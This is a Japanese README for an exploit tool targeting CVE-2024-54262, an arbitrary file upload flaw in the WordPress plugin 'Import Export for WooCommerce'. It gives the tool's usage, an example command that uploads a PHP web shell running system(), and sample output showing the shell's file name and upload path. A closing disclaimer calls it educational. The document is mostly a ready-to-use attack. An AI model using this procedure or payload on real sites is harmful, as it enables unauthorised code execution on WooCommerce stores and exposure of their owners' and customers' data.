CVE-2024-54262

CVE-2024-54262 のエクスプロイト: Import Export for WooCommerce の任意ファイルアップロード

概要

このスクリプトは、WordPress プラグイン「Import Export for WooCommerce」の脆弱性を悪用します。この脆弱性により、認証されていないユーザーが任意のファイルをアップロードでき、潜在的なリモートコード実行（RCE）につながる可能性があります。

機能:

• バージョン検出: WordPress サイトが脆弱性のあるプラグインバージョンを実行しているかを自動的にチェックします。
• 認証: さらなる悪用のために WordPress ログインをサポートします。
• ファイルアップロード: RCE のための悪意のある PHP ファイルのアップロードを可能にします。

前提条件:

1. Python 3.x
2. 必要な Python ライブラリ:
   • requests
   • argparse

依存関係をインストールするには:

pip install requests

3. 対象の WordPress サイトが脆弱性のあるバージョンのプラグインを使用していることを確認してください。

使用方法:

usage: CVE-2024-54262.py [-h] --url URL --username USERNAME --password PASSWORD [--command COMMAND]

Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce

options:
  -h, --help            show this help message and exit
  --url URL, -u URL     Base URL of the WordPress site
  --username USERNAME, -un USERNAME
                        Username for login
  --password PASSWORD, -p PASSWORD
                        Password for login
  --command COMMAND, -c COMMAND
                        PHP shell code to upload

例:

 CVE-2024-54262.py --url https://example.com --username admin --password admin --command "<?php system('ls'); ?>"

出力の説明

1. サイトは脆弱です。
   • WordPress サイトが脆弱性のあるプラグインバージョンを実行していることを示します。
2. ログインに成功しました。
   • 提供された認証情報でログインが成功したことを確認します。
3. root@kitploit:~

   {
       "status": true,
       "code": 104,
       "message": "Success",
       "data": {
           "file_name": "import_manual_1737090262.php",
           "total_requests": 1,
           "import_columns": "all",
           "product_search_type": "SKU",
           "product_operation": "create_new_update_existing",
           "field_separator": ","
       }
   }
   
   
   

• シェル名: import_manual_1737090262.php
• シェルパス: wp-content/uploads/import-export-for-woocommerce/product/

免責事項

このツールは教育目的のみで提供されています。作者は、このスクリプトの誤用または損害について一切の責任を負いません。明示的な許可なくシステムへの不正アクセスまたは悪用を行うことは、違法かつ非倫理的です。